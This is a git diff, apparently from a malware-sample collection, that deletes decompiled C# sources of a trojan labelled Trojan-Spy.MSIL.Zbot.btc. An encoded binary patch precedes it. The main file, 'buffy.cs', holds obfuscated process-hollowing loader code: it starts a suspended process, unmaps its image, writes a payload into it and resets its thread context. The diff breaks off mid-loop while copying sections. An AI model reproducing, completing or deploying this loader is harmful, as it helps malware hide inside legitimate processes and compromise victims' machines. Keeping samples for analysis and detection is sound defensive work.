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 bXuz3IPdgc={ol(bM(&>z?$C7db8=pOk0cGl diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} deleted file mode 100644 index 84c6271ac90e218dfb26fc5b2e6e7d9fe573c42a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 460 zcmV;-0W^`L4CA-+LSYd_$tBpH3I!j~5FlMX&A z*|Ht0BPSZ+{rnb>s7j)82UMD7D1=jO$*&Xl_Oz@(2sS?xm(!02sSoZ2k0zRAXpUTz zlKataj~l-vdYf$7B}gPXGE(&o=IqnTZv1Epq1y`bS8#b)uP_R!)d1%Y;^WO}M6kyOl$Go%DJuZM`lhFdh62% z$ar=gp$(;RqB7^y>{6&1*K?rJLxwM@bf!ulwlFz5h6}9<;x*_dzparaa1Juw!I#Qt C+TlU~ diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyApplication.cs deleted file mode 100644 index 7f3cdbb1..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: nojunk, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EFC0AC71-7977-4ED7-A4F1-E882872827BD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyComputer.cs deleted file mode 100644 index 74bbf509..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: nojunk, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EFC0AC71-7977-4ED7-A4F1-E882872827BD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyProject.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyProject.cs deleted file mode 100644 index 5fc6a850..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: nojunk, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EFC0AC71-7977-4ED7-A4F1-E882872827BD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.csproj b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.csproj deleted file mode 100644 index 2d62f2bc..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45} - WinExe - nojunk - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.sln deleted file mode 100644 index 7c677762..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/Trojan-Spy.MSIL.Zbot.btc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nojunk", "Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.csproj", "{74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45}.Debug|Any CPU.Build.0 = Debug|Any CPU - {74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45}.Release|Any CPU.ActiveCfg = Release|Any CPU - {74BD1679-DA2B-4C6D-9D0A-90E0FDF0FF45}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/buffy.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/buffy.cs deleted file mode 100644 index 8589ddeb..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/buffy.cs +++ /dev/null @@ -1,632 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: buffy -// Assembly: nojunk, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EFC0AC71-7977-4ED7-A4F1-E882872827BD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -public class buffy -{ - public const long ASDFASFASF = 2778; - public const long FASFASFASF = 60116; - public const long AFSFASFASCFC = 218; - public const long ASDASCASDASD = 218; - public const long BVCXBXCBXCB = 218; - public const long BXCBXCBXCB = 253; - public const long FSDR3FSF = 218; - public const long KKKKKKKKKDDDDDDD = 17247; - public const uint FSSSSSSSSSSSSSSSSSS = 218; - - public static void mickey(byte[] DAS4DA3, string VVVVVVCAE) - { - object Instance1 = (object) new buffy.Context(); - object obj1 = (object) new buffy.Process_Information(); - object obj2 = (object) new buffy.Startup_Information(); - object obj3 = (object) new buffy.Security_Flags(); - object obj4 = (object) new buffy.Security_Flags(); - object Instance2 = (object) GCHandle.Alloc((object) DAS4DA3, GCHandleType.Pinned); - int integer1 = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(Instance2, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, "ToInt32", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - buffy.DOS_Header dosHeader1 = new buffy.DOS_Header(); - Type Type = typeof (Marshal); - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - object Instance3 = Instance2; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Instance3, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - objArray2[0] = objectValue; - objArray1[1] = (object) dosHeader1.GetType(); - object[] objArray3 = objArray1; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ true, false }; - bool[] CopyBack = flagArray; - object obj5 = NewLateBinding.LateGet((object) null, Type, "PtrToStructure", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - NewLateBinding.LateSetComplex(Instance3, (Type) null, "AddrOfPinnedObject", new object[1] - { - RuntimeHelpers.GetObjectValue(objArray3[0]) - }, (string[]) null, (Type[]) null, true, false); - buffy.DOS_Header dosHeader2; - buffy.DOS_Header dosHeader3 = obj5 != null ? (buffy.DOS_Header) obj5 : dosHeader2; - NewLateBinding.LateCall(Instance2, (Type) null, "Free", new object[0], (string[]) null, (Type[]) null, (bool[]) null, true); - buffy.GN04L0ER8I gn04L0Er8I1 = buffy.TXXY5U8D2U("kernel32", "CreateProcessA"); - buffy.R84OY4NT36 r84Oy4Nt36_1 = buffy.TXXY5U8D2U("kernel32", "GetThreadContext"); - buffy.Q7QRRP639W q7QrrP639W1 = buffy.TXXY5U8D2U("kernel32", "ReadProcessMemory"); - buffy.ZGOQ8VM05M zgoQ8Vm05M1 = buffy.TXXY5U8D2U("kernel32", "WriteProcessMemory"); - buffy.EFVI2YI66B efvI2Yi66B1 = buffy.TXXY5U8D2U("ntdll", "ZwUnmapViewOfSection"); - buffy.W6CTR6GLCC w6CtR6Glcc1 = buffy.TXXY5U8D2U("kernel32", "VirtualAllocEx"); - buffy.K7B3INYH01 k7B3InyH01_1 = buffy.TXXY5U8D2U("kernel32", "SetThreadContext"); - buffy.WS2XVBNVO9 ws2XvbnvO9_1 = buffy.TXXY5U8D2U("kernel32", "ResumeThread"); - buffy.GN04L0ER8I gn04L0Er8I2 = gn04L0Er8I1; - string DASDAS3E2_1 = VVVVVVCAE; - object obj6 = obj3; - buffy.Security_Flags securityFlags1; - buffy.Security_Flags securityFlags2 = obj6 != null ? (buffy.Security_Flags) obj6 : securityFlags1; - ref buffy.Security_Flags local1 = ref securityFlags2; - object obj7 = obj4; - buffy.Security_Flags securityFlags3 = obj7 != null ? (buffy.Security_Flags) obj7 : securityFlags1; - ref buffy.Security_Flags local2 = ref securityFlags3; - IntPtr num1; - IntPtr DSA43R3W1 = num1; - object obj8 = obj2; - buffy.Startup_Information startupInformation1; - buffy.Startup_Information startupInformation2 = obj8 != null ? (buffy.Startup_Information) obj8 : startupInformation1; - ref buffy.Startup_Information local3 = ref startupInformation2; - object obj9 = obj1; - buffy.Process_Information processInformation1; - buffy.Process_Information processInformation2 = obj9 != null ? (buffy.Process_Information) obj9 : processInformation1; - ref buffy.Process_Information local4 = ref processInformation2; - int num2 = gn04L0Er8I2((string) null, DASDAS3E2_1, ref local1, ref local2, false, 4U, DSA43R3W1, (string) null, ref local3, out local4) ? 1 : 0; - object obj10 = (object) processInformation2; - object Instance4 = (object) startupInformation2; - object obj11 = (object) securityFlags3; - object obj12 = (object) securityFlags2; - if (-((uint) num2 > 0U ? 1 : 0) == 0) - return; - buffy.NT_Headers ntHeaders1 = new buffy.NT_Headers(); - IntPtr ptr = new IntPtr(checked (integer1 + dosHeader3.DASE3ASDAS)); - object structure1 = Marshal.PtrToStructure(ptr, ntHeaders1.GetType()); - buffy.NT_Headers ntHeaders2; - buffy.NT_Headers ntHeaders3 = structure1 != null ? (buffy.NT_Headers) structure1 : ntHeaders2; - NewLateBinding.LateSet(Instance4, (Type) null, "CSZE", new object[1] - { - (object) Strings.Len(RuntimeHelpers.GetObjectValue(Instance4)) - }, (string[]) null, (Type[]) null); - NewLateBinding.LateSet(Instance1, (Type) null, "II69TOHMUR", new object[1] - { - (object) 65539 - }, (string[]) null, (Type[]) null); - if (ntHeaders3.SSSSSSSSSSSQ != 17744U | dosHeader3.DASDASFASF != (ushort) 23117) - return; - buffy.GN04L0ER8I gn04L0Er8I3 = gn04L0Er8I1; - string DASDAS3E2_2 = VVVVVVCAE; - object obj13 = obj12; - securityFlags2 = obj13 != null ? (buffy.Security_Flags) obj13 : securityFlags1; - ref buffy.Security_Flags local5 = ref securityFlags2; - object obj14 = obj11; - securityFlags3 = obj14 != null ? (buffy.Security_Flags) obj14 : securityFlags1; - ref buffy.Security_Flags local6 = ref securityFlags3; - IntPtr DSA43R3W2 = num1; - object obj15 = Instance4; - startupInformation2 = obj15 != null ? (buffy.Startup_Information) obj15 : startupInformation1; - ref buffy.Startup_Information local7 = ref startupInformation2; - object obj16 = obj10; - processInformation2 = obj16 != null ? (buffy.Process_Information) obj16 : processInformation1; - ref buffy.Process_Information local8 = ref processInformation2; - int num3 = gn04L0Er8I3((string) null, DASDAS3E2_2, ref local5, ref local6, false, 4U, DSA43R3W2, (string) null, ref local7, out local8) ? 1 : 0; - object Instance5 = (object) processInformation2; - object obj17 = (object) startupInformation2; - object obj18 = (object) securityFlags3; - object obj19 = (object) securityFlags2; - if (-((uint) num3 > 0U ? 1 : 0) == 0) - return; - buffy.R84OY4NT36 r84Oy4Nt36_2 = r84Oy4Nt36_1; - object obj20 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASDASC = obj20 != null ? (IntPtr) obj20 : num1; - object obj21 = Instance1; - buffy.Context context1; - buffy.Context context2 = obj21 != null ? (buffy.Context) obj21 : context1; - ref buffy.Context local9 = ref context2; - int num4 = r84Oy4Nt36_2(DASDASC, ref local9) ? 1 : 0; - object Instance6 = (object) context2; - buffy.Q7QRRP639W q7QrrP639W2 = q7QrrP639W1; - object obj22 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr FASFDASDAS = obj22 != null ? (IntPtr) obj22 : num1; - int integer2 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - long num5; - int num6 = checked ((int) num5); - ref int local10 = ref num6; - int num7 = 0; - ref int local11 = ref num7; - int num8 = q7QrrP639W2(FASFDASDAS, integer2, ref local10, 4, ref local11); - long num9 = (long) num6; - buffy.EFVI2YI66B efvI2Yi66B2 = efvI2Yi66B1; - object obj23 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE3 = obj23 != null ? (IntPtr) obj23 : num1; - int AL8ZCRFWNU1 = checked ((int) num9); - long num10 = efvI2Yi66B2(DASE3, AL8ZCRFWNU1); - buffy.W6CTR6GLCC w6CtR6Glcc2 = w6CtR6Glcc1; - object obj24 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE43E = obj24 != null ? (IntPtr) obj24 : num1; - int dfazdasd = checked ((int) ntHeaders3.OOOU.DFAZDASD); - int dasrdasrasr = (int) ntHeaders3.OOOU.DASRDASRASR; - uint num11 = checked ((uint) (int) w6CtR6Glcc2(DASE43E, dfazdasd, (uint) dasrdasrasr, 12288U, 4U)); - if (num11 == 0U) - return; - buffy.ZGOQ8VM05M zgoQ8Vm05M2 = zgoQ8Vm05M1; - object obj25 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_1 = obj25 != null ? (IntPtr) obj25 : num1; - int AL8ZCRFWNU2 = checked ((int) num11); - byte[] DSAE32_1 = DAS4DA3; - int wqdasdasd = checked ((int) ntHeaders3.OOOU.WQDASDASD); - uint num12; - int num13 = checked ((int) num12); - ref int local12 = ref num13; - int num14 = zgoQ8Vm05M2(DASE32_1, AL8ZCRFWNU2, DSAE32_1, wqdasdasd, out local12) ? 1 : 0; - uint num15 = checked ((uint) num13); - long num16 = (long) checked (dosHeader3.DASE3ASDAS + 248); - int num17 = checked ((int) ntHeaders3.DSEEEEE.DAAAAAAAA3 - 1); - int num18 = 0; - while (num18 <= num17) - { - ptr = new IntPtr(checked ((long) integer1 + num16 + (long) (num18 * 40))); - buffy.Section_Header sectionHeader1; - object structure2 = Marshal.PtrToStructure(ptr, sectionHeader1.GetType()); - buffy.Section_Header sectionHeader2; - sectionHeader1 = structure2 != null ? (buffy.Section_Header) structure2 : sectionHeader2; - byte[] numArray = new byte[checked ((int) sectionHeader1.DA22S3 + 1)]; - int num19 = checked ((int) ((long) sectionHeader1.DA22S3 - 1L)); - int index = 0; - while (index <= num19) - { - 